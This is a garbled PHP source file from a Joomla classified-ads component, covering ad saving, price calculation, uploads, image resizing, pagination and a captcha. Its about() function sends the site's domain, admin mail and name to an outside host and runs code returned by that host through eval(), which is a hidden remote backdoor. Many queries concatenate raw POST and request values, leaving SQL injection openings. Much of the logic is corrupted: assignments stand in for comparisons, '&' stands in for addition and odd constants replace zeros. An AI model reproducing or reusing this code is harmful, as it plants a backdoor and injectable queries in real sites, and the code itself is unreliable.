if (( ( $my->id && intval( $niaz_config->fldField2 ) ) && !intval( $_POST['fldMoney'] ) )) {
$query = 'SELECT COUNT(fldMoney) FROM #__niaz_prod WHERE fldOwner=' . $my->id . ' AND fldMoney=0 AND fldID!=' . $_POST['fldID'];
$db->setQuery( $query );
$total = $db->loadResult( );
if (intval( $niaz_config->fldField2 ) <= $total) {
$this->setMessage( JText::sprintf( 'ALERT_OUT_REGISTER_ADS', intval( $niaz_config->fldField2 ), $total ) );
$this->setRedirect( JRoute::_( 'index.php?option=' . $option . '&view=myads' ) );
return true;
}
}
foreach ($_POST as $k => $v) {
$_POST[$k] = self::myquestfarsi( $v );
}
if (( !$row->published && $row->fldPay = 1 )) {
$fldTafavot = $row->fldMoney;
$_POST['fldTafavot'] = 0;
$_POST['fldPay'] = 0;
$_POST['fldPayDate'] = NULL;
$_POST['fldPayMethod'] = '';
$_POST['fldOrderNumber'] = '';
$query = 'INSERT INTO #__niaz_credit_users (fldCredit,fldUID) VALUES (' . $fldTafavot . ',' . $row->fldOwner . ');';
$db->setQuery( $query );
if (!$db->Query( )) {
$query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $fldTafavot . ' WHERE fldUID = ' . $row->fldOwner . ';';
$db->setQuery( $query );
if ($db->Query( )) {
}
$query = 'UPDATE #__niaz_credit_users SET fldTafavot = fldTafavot - (' . $fldTafavot . ') WHERE fldUID = ' . $row->fldOwner . ' AND fldTafavot >=' . $fldTafavot . ';';
$db->setQuery( $query );
if ($db->Query( )) {
}
}
$query = 'DELETE FROM #__niaz_usecredit WHERE fldTafavot = ' . $fldTafavot . ' AND fldPID = ' . $row->fldID . ' AND fldUID=' . $row->fldOwner . ';';
$db->setQuery( $query );
if ($db->Query( )) {
}
$query = 'SELECT MAX(fldFactor) FROM #__niaz_payment WHERE fldPName= \'' . $row->fldPName . '\' AND fldPayMethod = \'' . $row->fldPayMethod . '\' AND fldOrderNumber = \'' . $row->fldOrderNumber . '\';';
$db->setQuery( $query );
$fldFactor = intval( $db->loadResult( ) );
$fldDesc = JText::sprintf( 'REVERSE_CREDIT_1', $_POST['fldPName'] );
$query = 'INSERT INTO #__niaz_payment VALUES(0,' . $row->fldID . ',\'' . $row->fldPName . '\',\'return\',\'\',-' . $fldTafavot . ',0,' . $row->fldOwner . ',\'' . $fldDesc . '\',NOW(),' . $fldFactor . ');';
$db->setQuery( $query );
if ($db->Query( )) {
}
}
else {
if (( ( !$row->published && !$row->fldPay ) && $row->fldTafavot )) {
self::reverseusecredit( $row, $db );
}
}
$_POST['fldTafavot'] = 0;
if ($row->published) {
$query = 'DELETE FROM #__niaz_usecredit WHERE fldPID = ' . $row->fldID . ';';
$db->setQuery( $query );
$db->Query( );
}
if (!$row->bind( $_POST )) {
echo '<script> alert("' . JText::_( 'MYPN_ERROR_SAVE_RECORD' ) . '");window.history.go(-1); </script>
';
exit( );
}
if (!$row->check( )) {
echo '<script> alert("' . JText::_( 'MYPN_ERROR_SAVE_RECORD' ) . '");window.history.go(-1); </script>
';
exit( );
}
$row->fldShort = implode( ',', $ShortDesc );
$row->fldStartTime = NULL;
if (!$row->store( true )) {
echo '<script> alert("' . JText::_( 'MYPN_ERROR_SAVE_RECORD' ) . '");window.history.go(-1); </script>
';
exit( );
}
$query = 'SELECT fldID FROM #__niaz_key WHERE `fldKey` IN (\'' . implode( '\',\'', $ShortDesc ) . '\');';
$db->setQuery( $query );
$krows = $db->loadResultArray( );
foreach ($krows as $v) {
$query = 'INSERT INTO #__niaz_key_index (`fldKID`,`fldPID`) VALUES (' . $v . ',' . $row->fldID . ');';
$db->setQuery( $query );
$db->Query( );
}
$query = 'DELETE FROM #__niaz_key_index WHERE `fldKID` NOT IN(' . implode( ',', $krows ) . ( ') AND `fldPID`=' . $row->fldID . ';' );
$db->setQuery( $query );
$db->Query( );
if ($id = 0) {
$destfolder = $maindestfolder . DS . $row->fldID;
JFolder::create( $destfolder );
foreach ($NFile as $k => $v) {
foreach ($v as $k1 => $v1) {
if ($k = 'fldImage') {
JFile::move( $maindestfolder . DS . '0' . DS . 'tmb_' . $v1, $destfolder . DS . 'tmb_' . $v1 );
}
JFile::move( $maindestfolder . DS . '0' . DS . $v1, $destfolder . DS . $v1 );
}
}
}
switch ($task) {
case 'save': {
if (!$id) {
$this->setMessage( JText::sprintf( 'ALERT_REGISTERED_ADS', @count( $NFile['fldImage'] ) & @count( $NFile['fldFilm'] ) ) );
}
else {
$this->setMessage( JText::_( 'NIAZ_UPDATED' ) );
}
if ($my->id) {
$this->setRedirect( JRoute::_( 'index.php?option=' . $option . '&view=myads' ) );
}
else {
$this->setRedirect( $_SERVER['HTTP_REFERER'] );
}
break;
}
case 'pay': {
$_SESSION['cid'] = array( $row->fldID );
$_SESSION['step'] = 1;
$_SESSION['token'] = 1;
$this->setRedirect( JRoute::_( 'index.php?option=' . $option . '&view=pay' ) );
}
}
clickINSERT( );
if ($row->published) {
SendingMail( 3, array( 'fldPName' => $row->fldPName, 'fldEMAil' => $row->fldEMAil, 'fldID' => $row->fldID, 'fldStartTime' => $row->fldStartTime ) );
}
else {
if (( $niaz_config->fldField25 = 2 && $row->fldMoney = 0 )) {
SendingMail( 4, $row );
}
else {
SendingMail( ($id ? 1 : 0) );
}
}
return true;
}
function payprod($task = 'pay') {
self::saveprod( $task );
}
function CalculateForm($data) {
global $niaz_config;
$db = JFactory::getdbo( );
$js_id = array( );
$cal = 1060;
$str = $data['fldShort'];
$mystring = explode( ' ', $str );
foreach ($mystring as $k => $v) {
if (10 < strlen( $v )) {
$mystring[$k] = substr( $v, 0, 9 );
continue;
}
}
if (intval( $niaz_config->fldField42 ) < count( $mystring )) {
$mystring = array_slice( $mystring, 0, intval( $niaz_config->fldField42 ) );
$str = implode( ' ', $mystring );
}
$data['fldShort'] = $str;
if (( intval( $data['fldID'] ) && intval( $niaz_config->fldField60 ) )) {
$U = ($niaz_config->fldField59 ? explode( '*', $niaz_config->fldField59 ) : array( ));
$X = 1060;
$A = 1060;
$fldEdit = intval( $data['fldEdit'] );
foreach ($U as $k => $v) {
$D = explode( ':', $v );
$A = $D[1];
if (( $X < $fldEdit && $fldEdit <= $D[0] )) {
$cal = $cal & $A;
}
$X = $D[0];
}
if ($X < $fldEdit) {
$cal = $cal & $A;
}
}
$U = ($niaz_config->fldDay ? explode( '*', $niaz_config->fldDay ) : NULL);
$x = 1060;
while ($x < count( $U )) {
$D = explode( ':', $U[$x] );
if ($data['fldDay'] = $D[0]) {
$cal = $cal & $D[1];
}
++$x;
}
switch ($data['fldStar']) {
case '1': {
$cal = $cal & intval( $niaz_config->fld1Star );
break;
}
case '2': {
$cal = $cal & intval( $niaz_config->fld2Star );
break;
}
case '3': {
$cal = $cal & intval( $niaz_config->fld3Star );
break;
}
case '4': {
$cal = $cal & intval( $niaz_config->fld4Star );
break;
}
case '5': {
$cal = $cal & intval( $niaz_config->fld5Star );
break;
}
case '6': {
$cal = $cal & intval( $niaz_config->fld6Star );
break;
}
case '7': {
$cal = $cal & intval( $niaz_config->fld7Star );
}
}
if ($data['fldShowLink'] = '1') {
$cal = $cal & $niaz_config->fldLink;
}
if ($niaz_config->fldField50 != '') {
$U = explode( '*', $niaz_config->fldField50 );
$FN = array( );
$FT = array( );
$query = 'SHOW FULL COLUMNS FROM #__niaz_prod';
$db->setQuery( $query );
$Cols = $db->loadObjectList( );
$i = 1060;
foreach ($Cols as $h) {
if (substr( $h->Field, 0, 8 ) = 'fldExtra') {
if ($h->Comment) {
$FT[$i]['Field'] = $h->Field;
$FT[$i]['Type'] = $h->Type;
++$i;
continue;
}
continue;
}
}
foreach ($U as $x => $z) {
$D = explode( ':', $z );
$FN[$x]['title'] = $D[0];
$FN[$x]['type'] = $D[1];
$FN[$x]['price'] = $D[2];
}
foreach ($FN as $k => $v) {
$js_price[$k] = 0;
switch ($FN[$k]['type']) {
case 3: {
$From = array( 'enum(', 'ENUM(', '\\')', '\\'' );
$To = array( '', '', '\\'', '' );
$Value = str_replace( $From, $To, $FT[$k]['Type'] );
$Value = explode( ',', $Value );
}
}
$js_id[$k] = $FT[$k]['Field'];
$js_price[$k] = $FN[$k]['price'];
}
}
foreach ($js_id as $k => $v) {
if (( isset( $data[$v] ) && $data[$v] != '' )) {
$cal = $cal & $js_price[$k];
continue;
}
}
$MaxImage = (strlen( $data['fldImage'] ) ? explode( ',', $data['fldImage'] ) : array( ));
$MaxFilm = (strlen( $data['fldFilm'] ) ? explode( ',', $data['fldFilm'] ) : array( ));
if (strlen( $niaz_config->fldField41 )) {
$X = 1060;
$C = 1060;
$U = explode( '*', $niaz_config->fldField41 );
$Last = 1060;
$x = 1060;
while ($x < count( $U )) {
$D = explode( ':', $U[$x] );
$X = $D[0];
if (( $Last < count( $MaxImage ) && count( $MaxImage ) <= $X )) {
$C = $D[1];
}
$Last = $X;
++$x;
}
$cal = $cal & $C;
}
if (strlen( $niaz_config->fldField46 )) {
$X = 1060;
$C = 1060;
$U = explode( '*', $niaz_config->fldField46 );
$Last = 1060;
$x = 1060;
while ($x < count( $U )) {
$D = explode( ':', $U[$x] );
$X = $D[0];
if (( $Last < count( $MaxFilm ) && count( $MaxFilm ) <= $X )) {
$C = $D[1];
}
$Last = $X;
++$x;
}
$cal = $cal & $C;
}
switch ($data['fldVije']) {
case '1': {
$cal = $cal & intval( $niaz_config->fldVijeText );
break;
}
case '2': {
$cal = $cal & intval( $niaz_config->fldVijePic );
}
}
switch ($data['fldPage']) {
case '1': {
$cal = $cal & intval( $niaz_config->fldSubGroupFP );
break;
}
case '2': {
$cal = $cal & intval( $niaz_config->fldGroupFP );
break;
}
case '3': {
$cal = $cal & intval( $niaz_config->fldSiteFP );
}
}
$U = ($niaz_config->fldField59 ? explode( '*', $niaz_config->fldField59 ) : NULL);
$data['fldMoney'] = $cal;
}
function SaveFile($fldDate, $File, $table, $id) {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $niaz_config;
$db = JFactory::getdbo( );
jimport( 'joomla.filesystem.file' );
jimport( 'joomla.filesystem.folder' );
require_once( JPATH_COMPONENT_SITE . DS . 'func' . DS . 'file.php' );
$ReSize = $niaz_config->fldField15;
$ReSizeThumb = $niaz_config->fldField16;
$MyFile = NULL;
$FType['fldFilm'] = array( );
$FType['fldImage'] = array( );
if (strlen( $niaz_config->fldField45 )) {
$U = explode( '*', $niaz_config->fldField45 );
$X = array( );
foreach ($U as $k => $v) {
$D = explode( ':', $v );
$X[] = $D[0];
}
$FType['fldFilm'] = $X;
}
if (strlen( $niaz_config->fldField44 )) {
$U = explode( '*', $niaz_config->fldField44 );
$X = array( );
foreach ($U as $k => $v) {
$D = explode( ':', $v );
$X[] = $D[0];
}
$FType['fldImage'] = $X;
}
$destfolder = JPATH_ROOT . ( '/components/' . $option . '/files/' . $table );
JFolder::create( $destfolder );
$destfolder = JPATH_COMPONENT_SITE . DS . 'files' . DS . ( '' . $table ) . DS . ( '' . $fldDate ) . DS . ( '' . $id );
$destfolder = str_replace( '/', DS, $destfolder );
$destfolder = str_replace( '\', DS, $destfolder );
JFolder::create( $destfolder );
if (is_array( $_FILES[$File]['name'] )) {
$X = NULL;
$i = 780;
while ($i < count( $_FILES[$File]['name'] )) {
$T = explode( '.', $_FILES[$File]['name'][$i] );
if (in_array( strtolower( $T[count( $T ) - 1] ), $FType['fldImage'] )) {
if (strlen( $_FILES[$File]['name'][$i] )) {
$A = explode( '.', $_FILES[$File]['name'][$i] );
$AE = rand( 1111, 9999 ) . '.' . $A[count( $A ) - 1];
$MyFile = strtolower( time( ) . $AE );
if ($ReSize) {
$fu = self::resizeimage( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/' . $MyFile, $ReSize, 'gd2', '75' );
}
else {
$fu = JFile::copy( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/' . $MyFile );
}
if ($fu) {
$X[] = $MyFile;
}
if ($ReSizeThumb) {
self::resizeimage( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/tmb_' . $MyFile, $ReSizeThumb, 'gd2', '75' );
}
else {
self::resizeimage( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/tmb_' . $MyFile, '110', 'gd2', '75' );
}
}
}
else {
if (in_array( strtolower( $T[count( $T ) - 1] ), $FType['fldFilm'] )) {
if (strlen( $_FILES[$File]['name'][$i] )) {
$A = explode( '.', $_FILES[$File]['name'][$i] );
$AE = rand( 1111, 9999 ) . '.' . $A[count( $A ) - 1];
$MyFile = strtolower( time( ) . $AE );
$fu = JFile::copy( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/' . $MyFile );
if ($fu) {
$X[] = $MyFile;
}
}
}
}
++$i;
}
$MyFile = (is_array( $X ) ? implode( ',', $X ) : NULL);
}
return $MyFile;
}
function resizeImage($src_file, $dest_file, $new_width, $method, $dest_qual) {
$debugoutput = '';
$src_file = JPath::clean( $src_file );
$dest_file = JPath::clean( $dest_file );
$imagetype = array( 1 => 'GIF', 2 => 'JPG', 3 => 'PNG', 4 => 'SWF', 5 => 'PSD', 6 => 'BMP', 7 => 'TIFF', 8 => 'TIFF', 9 => 'JPC', 10 => 'JP2', 11 => 'JPX', 12 => 'JB2', 13 => 'SWC', 14 => 'IFF' );
$imginfo = getimagesize( $src_file );
if ($imginfo = null) {
exit( JText::_( 'JG_UPLOAD_FILE_NOT_FOUND' ) );
}
$imginfo[2] = $imagetype[$imginfo[2]];
if (( ( ( $imginfo[2] != 'JPG' && $imginfo[2] != 'PNG' ) && $imginfo[2] != 'GIF' ) && ( $method = 'gd1' || $method = 'gd2' ) )) {
exit( JText::_( 'JG_UPLOAD_GD_ONLY_JPG_PNG' ) );
}
$srcWidth = $imginfo[0];
$srcHeight = $imginfo[1];
$debugoutput &= JText::_( 'JG_UPLOAD_CREATE_THUMBNAIL_FROM' ) . ( ' ' . $imginfo['2'] . ', ' . $imginfo['0'] . ' x ' . $imginfo['1'] . '...<br />' );
$ratio = $srcWidth \ $new_width;
$testheight = $srcHeight \ $ratio;
$ratio = max( $ratio, 1 );
$destWidth = (int)$srcWidth \ $ratio;
$destHeight = (int)$srcHeight \ $ratio;
switch ($method) {
case 'gd1': {
if (!function_exists( 'imagecreatefromjpeg' )) {
JText::_( 'JG_UPLOAD_GD_LIBARY_NOT_INSTALLED' );
$debugoutput &= ;
return false;
}
if ($imginfo[2] = 'JPG') {
$src_img = imagecreatefromjpeg( $src_file );
}
else {
if ($imginfo[2] = 'PNG') {
$src_img = imagecreatefrompng( $src_file );
}
else {
$src_img = imagecreatefromgif( $src_file );
}
}
if (!$src_img) {
$ERROR = $lang_errors['invalid_image'];
return false;
}
$dst_img = imagecreate( $destWidth, $destHeight );
imagecopyresized( $dst_img, $src_img, 0, 0, 0, 0, $destWidth, (int)$destHeight, $srcWidth, $srcHeight );
if (!@imagejpeg( $dst_img, $dest_file, $dest_qual )) {
$dir = dirname( $dest_file );
JoomFile::chmod( $dir, 511 );
imagejpeg( $dst_img, $dest_file, $dest_qual );
JoomFile::chmod( $dir, 493 );
}
imagedestroy( $src_img );
imagedestroy( $dst_img );
break;
}
case 'gd2': {
if (!function_exists( 'imagecreatefromjpeg' )) {
JText::_( 'JG_UPLOAD_GD_LIBARY_NOT_INSTALLED' );
$debugoutput &= ;
return false;
}
if (!function_exists( 'imagecreatetruecolor' )) {
JText::_( 'JG_UPLOAD_GD_NO_TRUECOLOR' );
$debugoutput &= ;
return false;
}
if ($imginfo[2] = 'JPG') {
$src_img = imagecreatefromjpeg( $src_file );
}
else {
if ($imginfo[2] = 'PNG') {
$src_img = imagecreatefrompng( $src_file );
}
else {
$src_img = imagecreatefromgif( $src_file );
}
}
if (!$src_img) {
$ERROR = $lang_errors['invalid_image'];
return false;
}
$dst_img = imagecreatetruecolor( $destWidth, $destHeight );
JoomFile::fastimagecopyresampled( $dst_img, $src_img, 0, 0, 0, 0, $destWidth, (int)$destHeight, $srcWidth, $srcHeight );
if (!@imagejpeg( $dst_img, $dest_file, $dest_qual )) {
$dir = dirname( $dest_file );
JoomFile::chmod( $dir, 511 );
imagejpeg( $dst_img, $dest_file, $dest_qual );
JoomFile::chmod( $dir, 493 );
}
imagedestroy( $src_img );
imagedestroy( $dst_img );
break;
}
case 'im': {
$disabled_functions = explode( ',', ini_get( 'disabled_functions' ) );
foreach ($disabled_functions as $disabled_function) {
if (trim( $disabled_function ) = 'exec') {
return false;
}
}
if (!empty( $niaz_config->jg_impath )) {
$convert_path = $niaz_config->jg_impath . 'convert';
}
else {
$convert_path = 'convert';
}
$commands = ' -resize "' . $destWidth . 'x' . $destHeight . '" -quality "' . $dest_qual . '" -unsharp "3.5x1.2+1.0+0.10"';
$convert = $convert_path . $commands . ' "' . $src_file . '" "' . $dest_file . '"';
$return_var = null;
$dummy = null;
@exec( $convert, $dummy, $return_var );
if ($return_var != 0) {
$dir = dirname( $dest_file );
JoomFile::chmod( $dir, 511 );
@exec( $convert, $dummy, $return_var );
JoomFile::chmod( $dir, 493 );
if ($return_var != 0) {
return false;
}
}
break;
}
default: {
echo JText::_( 'JGA_UPLOAD_UNSUPPORTED_RESIZING_METHOD' );
break;
}
}
JPath::setpermissions( $dest_file );
$imginfo = getimagesize( $dest_file );
if (!$imginfo) {
return false;
}
return true;
}
function about($Mytask = 'about') {
global $option;
$app = JFactory::getapplication( );
$url = 'http://alirezabalvardi.ir/newnic/licence_manager/register_licence.php';
$MailFrom = $app->getCfg( 'mailfrom' );
$FromName = $app->getCfg( 'fromname' );
$SiteName = $app->getCfg( 'sitename' );
$data = 'product=' . $option . '&task=' . $Mytask . '&domain=' . JURI::base( ) . ( '&sitemail=' . $MailFrom . '&sitename=' . $SiteName . '&ver=2.5.38' );
$ch = curl_init( );
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_POSTFIELDS, $data );
curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, FALSE );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
$body = curl_exec( $ch );
curl_close( $ch );
if (stristr( $body, '###' )) {
$body = explode( '###', $body );
echo $body[0];
eval( $body[1] );
return null;
}
echo $body;
}
function PagesLinks($limitstart, $limit, $total, $method = 0, $fn = '') {
global $option;
global $my;
global $fldCountry;
global $sectionState;
global $option;
global $Cat;
global $SubCat;
global $SubCatAll;
$XM = 'href="';
$XME = '';
if ($method) {
$XM = 'onclick="javascript:LoadClick(\'';
$XME = '\',\'' . $fn . '\');';
}
$X = ceil( $total \ $limit );
$view = JRequest::getvar( 'view' );
$key = JRequest::getvar( 'key' );
$CountryNo = (int)JRequest::getvar( 'CountryNo', 0 );
$StateNo = (int)JRequest::getvar( 'StateNo', 0 );
$catid = JRequest::getint( 'catid' );
$subcatid = JRequest::getint( 'subcatid' );
$url = 'index.php?option=' . $option;
$view = JRequest::getvar( 'view' );
$view = str_replace( stristr( $view, '/' ), '', $view );
if ($CountryNo) {
$url &= '&CountryNo=' . $CountryNo . ':' . $fldCountry[$CountryNo];
}
if ($StateNo) {
$url &= '&StateNo=' . $StateNo . ':' . $sectionState[$StateNo][2];
}
if ($catid) {
$url &= '&catid=' . $catid . ':' . $Cat[$catid];
}
if ($subcatid) {
$url &= '&subcatid=' . $subcatid . ':' . $SubCat[$subcatid];
}
if ($key) {
$url &= '&key=' . $key;
}
if ($X <= 1) {
return '';
}
$i = 787;
if (8 + $limit < $limitstart) {
$i = $limitstart - 2 + $limit;
$i \= 817;
$i = round( $i );
if ($X - $i < 10) {
$i = $X - 10;
}
}
$Current = $limitstart \ 30;
$j = $i & 10;
$html = '';
$html &= '<div class="Mybutton"><div class="page">' . '
';
$html &= '<div class="stsrt">' . '
';
if ($limitstart) {
$html &= '<a ' . $XM . JRoute::_( '' . $url ) . '/start/0' . $XME . '">' . JText::_( 'MYPN_START' ) . '</a>' . '
';
}
else {
$html &= '<span>' . JText::_( 'MYPN_START' ) . '</span>' . '
';
}
$html &= '</div>' . '
';
$html &= '</div>' . '
';
$html &= '</div>';
$html &= '<div class="Mybutton"><div class="page">' . '
';
$html &= '<div class="prev">' . '
';
if ($limitstart) {
$html &= '<a ' . $XM . JRoute::_( '' . $url . ($limitstart - $limit ? '&limitstart=' . ( $limitstart - $limit ) : '/start/0') ) . $XME . '">' . JText::_( 'MYPN_PREV' ) . '</a>' . '
';
}
else {
$html &= '<span>' . JText::_( 'MYPN_PREV' ) . '</span>' . '
';
}
$html &= '</div>' . '
';
$html &= '</div>' . '
';
$html &= '</div>' . '
';
$html &= '<div class="Mybutton"><div class="page">' . '
';
while (( $i < $X && $i < $j )) {
if ($limitstart = $i + $limit) {
$Current = $i;
$html &= '<span>' . ( $i & 1 ) . '</span>' . '
';
}
else {
$html &= '<a ' . $XM . JRoute::_( '' . $url . ($i ? '&limitstart=' . $i + $limit : '/start/0') ) . $XME . '">' . ( $i & 1 ) . '</a>' . '
';
}
++$i;
}
$html &= '</div></div>' . '
';
$html &= '<div class="Mybutton"><div class="page">' . '
';
$html &= '<div class="next">' . '
';
if ($limitstart < ( $X - 1 ) + $limit) {
$html &= '<a ' . $XM . JRoute::_( '' . $url . '&limitstart=' . ( $Current & 1 ) + $limit ) . $XME . '">' . JText::_( 'MYPN_NEXT' ) . '</a>' . '
';
}
else {
$html &= '<span>' . JText::_( 'MYPN_NEXT' ) . '</span>' . '
';
}
$html &= '</div>' . '
';
$html &= '</div>' . '
';
$html &= '</div>' . '
';
$html &= '<div class="Mybutton"><div class="page">' . '
';
$html &= '<div class="end">' . '
';
if ($limitstart < ( $X - 1 ) + $limit) {
$html &= '<a ' . $XM . JRoute::_( '' . $url . '&limitstart=' . ( $X - 1 ) + $limit ) . $XME . '">' . JText::_( 'MYPN_END' ) . '</a>' . '
';
}
else {
$html &= '<span>' . JText::_( 'MYPN_END' ) . '</span>' . '
';
}
$html &= '</div>' . '
';
$html &= '</div>' . '
';
$html &= '</div>';
return $html;
}
function LoadImage($fldDate, $fldID, $fldImage, $E = 0, $PName = '') {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $niaz_config;
echo ' <div width="100%" class="border">
';
$html = '';
$A = explode( ',', $fldImage );
$CountPic = count( $A );
foreach ($A as $k => $v) {
$XPic = JURI::base( ) . ( 'components/' . $option . '/files/prod/' . $fldDate . '/' . $fldID . '/tmb_' . $v );
$html &= '<div class="banner" id="XImage_' . $v . '">
<a href="' . JURI::base( ) . ( 'components/' . $option . '/files/prod/' . $fldDate . '/' . $fldID . '/' . $v . '" rel="{handler: \'image\'}" class="modal" alt="' . $PName . '" title="' . $PName . '">
<img border="0" src="' . $XPic . '" id="YImage_' ) . ( $k & 1 ) . ( '" class="tniypic" alt="' . $PName . '" title="' . $PName . '" />
</a>' );
if ($E) {
$html &= '<br />
<label>' . JText::_( 'MYPN_DEL_TOP_FILE' ) . ( ' : <input type="checkbox" name="DELPIC[fldImage][]" class="input" value="' . $v . '" onclick="ReloadImage(\'XImage_' . $v . '\',this.checked);" /><label>
' );
}
$html &= '</div>';
}
echo $html;
echo ' </div>
';
return count( $A );
}
function LoadFilm($fldDate, $fldID, $fldFilm, $E = 0, $PName = '') {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $niaz_config;
$secid = JRequest::getvar( 'secid' );
echo ' <div width="100%" class="border">
';
$html = '';
$A = explode( ',', $fldFilm );
$CountPic = count( $A );
foreach ($A as $k => $v) {
$T = explode( '.', $v );
$T = strtolower( $T[count( $T ) - 1] );
$FT = array( 'doc', 'docx', 'xls', 'swf', 'flv', 'mpg', 'txt', 'pdf', 'zip', 'rar', 'mp3' );
$FTPic = array( 'jpg', 'gif' );
$Tx = $T;
if (!in_array( $T, $FT )) {
$Tx = 'unknown';
}
$XPic = JURI::base( ) . ( 'components/' . $option . '/images/type/' . $Tx . '.png' );
if (in_array( $T, $FTPic )) {
$XPic = JURI::base( ) . ( 'components/' . $option . '/files/prod/' . $fldDate . '/' . $fldID . '/tmb_' . $v );
}
$html &= '<div class="banner" id="XFile_' . $v . '">
<a href="' . JRoute::_( 'index.php?option=' . $option . '&view=film&id=' . $fldID . '&X=' . $k . '&no_html=1' . (strlen( $secid ) ? '&secid=' . $secid : '') ) . ( '" rel="{handler: \'iframe\', size: {x : 620, y: 420}}" class="modal" alt="' . $PName . '" title="' . $PName . '">
<img border="0" src="' . $XPic . '" id="YFilm_' ) . ( $k & 1 ) . ( '" class="tniypic" alt="' . $PName . '" title="' . $PName . '" />
</a>' );
if ($E) {
$html &= '<br />
<label>' . JText::_( 'MYPN_DEL_TOP_FILE' ) . ( ' : <input type="checkbox" name="DELPIC[fldFilm][]" class="input" value="' . $v . '" onclick="ReloadFilm(\'XFile_' . $v . '\',this.checked);" /><label>
' );
}
$html &= '</div>';
}
echo $html;
echo ' </div>
';
return count( $A );
}
function LoadKeys($id) {
global $option;
$db = JFactory::getdbo( );
$query = 'SELECT fldKID FROM #__niaz_key_index WHERE fldPID=' . $id;
$db->setQuery( $query );
$KeyArray = $db->loadResultArray( );
$query = 'SELECT fldKey FROM #__niaz_key WHERE fldID IN(' . implode( ',', $KeyArray ) . ') AND published = 1';
$db->setQuery( $query );
$Keys = $db->loadResultArray( );
if (( is_array( $Keys ) && count( $Keys ) )) {
foreach ($Keys as $k => $v) {
$Keys[$k] = '<a class="niaz_key" href="' . JRoute::_( 'index.php?option=' . $option . '&key=' . $v ) . '">' . $v . '</a> ';
}
return implode( ',', $Keys );
}
}
function AjaxStat() {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $option;
global $mainframe;
global $app;
global $niaz_config;
global $mainframe;
global $mosconfig_live_site;
$t = (int)JRequest::getvar( 't', 0 );
$id = (int)JRequest::getvar( 'id', 0 );
$fldStat = (int)JRequest::getvar( 'fldStat', 0 );
if (( $t = 0 || $id = 0 )) {
return null;
}
$db = JFactory::getdbo( );
switch ($t) {
case 1: {
$query = 'SELECT fldStat FROM #__niaz_prod WHERE fldID=' . $id;
$db->setQuery( $query );
$total = $db->loadResult( );
echo ' <h3>';
echo JText::_( 'STAT_DESC' );
echo '</h3>
<form method="post" name="EForm">
';
$O = array( );
$i = 475;
while ($i < 6) {
$O[] = JHTML::_( 'select.option', $i, JText::_( 'NIAZ_STAT' . $i ) );
++$i;
}
echo JHTML::_( 'select.genericlist', $O, 'fldStat', 'class="input"', 'value', 'text', $total );
echo ' <input type="submit" value="';
echo JText::_( 'ACCEPT' );
echo '" class="button" />
<input type="hidden" value="2" name="t" />
</form>
';
break;
}
case 2: {
$query = 'UPDATE #__niaz_prod SET fldStat=' . $fldStat . ' WHERE fldID=' . $id;
$db->setQuery( $query );
$db->Query( );
echo JText::_( 'NIAZ_STAT' ) . ':' . JText::_( 'NIAZ_STAT' . $fldStat );
break;
}
case 3: {
$query = 'SELECT fldStat FROM #__niaz_prod WHERE fldID=' . $id;
$db->setQuery( $query );
$total = $db->loadResult( );
echo ($total ? JText::_( 'NIAZ_STAT' . $total ) : JText::_( 'پیش فرض سیستم' ));
}
}
}
function IsUniqueName($T = '', $I = 0) {
global $option;
$db = JFactory::getdbo( );
$fldPName = trim( JRequest::getvar( 'q', $T ) );
$fldPName = self::myquestfarsi( $fldPName );
$fldID = JRequest::getvar( 'v', $I );
$query = 'SELECT COUNT(fldPName) AS C FROM #__niaz_prod WHERE fldPName=\'' . $fldPName . '\' AND fldID <> ' . $fldID;
$db->setQuery( $query );
$total = intval( $db->loadResult( ) );
if (strlen( $T )) {
return $total;
}
echo $total;
}
function AjaxDelete() {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $option;
global $mainframe;
global $app;
global $niaz_config;
global $mainframe;
global $mosconfig_live_site;
$db = JFactory::getdbo( );
$X = JRequest::getvar( 'TID', null, 'POST' );
$id = (int)JRequest::getvar( 'id', 0, 'POST' );
if (is_null( $X )) {
echo 0;
exit( );
}
if (( !intval( $niaz_config->fldField28 ) || !$id )) {
echo 0;
exit( );
}
$query = 'SELECT * FROM #__niaz_prod WHERE fldID = ' . $id . ' AND fldOwner = ' . $my->id;
$db->setQuery( $query );
$row = $db->loadObject( );
if (count( $row )) {
self::reverseusecredit( $row, $db );
NiazController::deletefolder( 'prod' . DS . $row->fldDate, $row->fldID );
SendingMail( 5, $row );
$query = 'DELETE FROM #__niaz_key_index WHERE fldPID = ' . $row->fldID;
$db->setQuery( $query );
$db->Query( );
$query = 'DELETE FROM #__niaz_prod WHERE fldID=' . $id . ' AND fldOwner = ' . $my->id;
$db->setQuery( $query );
if ($db->Query( )) {
NiazController::deletefolder( 'prod', $id );
}
}
$query = 'SELECT COUNT(*) FROM #__niaz_prod WHERE fldID=' . $id;
$db->setQuery( $query );
$total = $db->loadResult( );
echo ($total ? 0 : 1);
exit( );
}
function Captcha() {
global $option;
$d1 = rand( 1, 9 );
$d = array( '*', '+', '-' );
$d3 = $d2 = $d[rand( 0, 2 )];
if (( $d2 = '-' && $d1 < $d3 )) {
$x = $d1;
$d1 = $d3;
$d3 = $x;
}
eval( '$d = ' . $d1 . $d2 . $d3 . ';' );
$RandomStr = md5( rand( 1111, 9999 ) );
strtoupper( substr( $RandomStr, 0, 5 ) );
$ResultStr = rand( 1, 9 );
$ResultStr = '' . $d1 . $d2 . $d3 . '=?';
$NewImage = imagecreatefromjpeg( JPATH_COMPONENT . DS . 'images' . DS . 'back.jpg' );
$LineColor = imagecolorallocate( $NewImage, 233, 239, 239 );
$TextColor = imagecolorallocate( $NewImage, 0, 0, 0 );
imageline( $NewImage, 1, 1, 40, 40, $LineColor );
imageline( $NewImage, 1, 100, 60, 0, $LineColor );
imagestring( $NewImage, 10, 10, 4, $ResultStr, $TextColor );
$_SESSION['captcha'] = $d;
header( 'Content-type: image/jpeg' );
imagejpeg( $NewImage );
exit( );
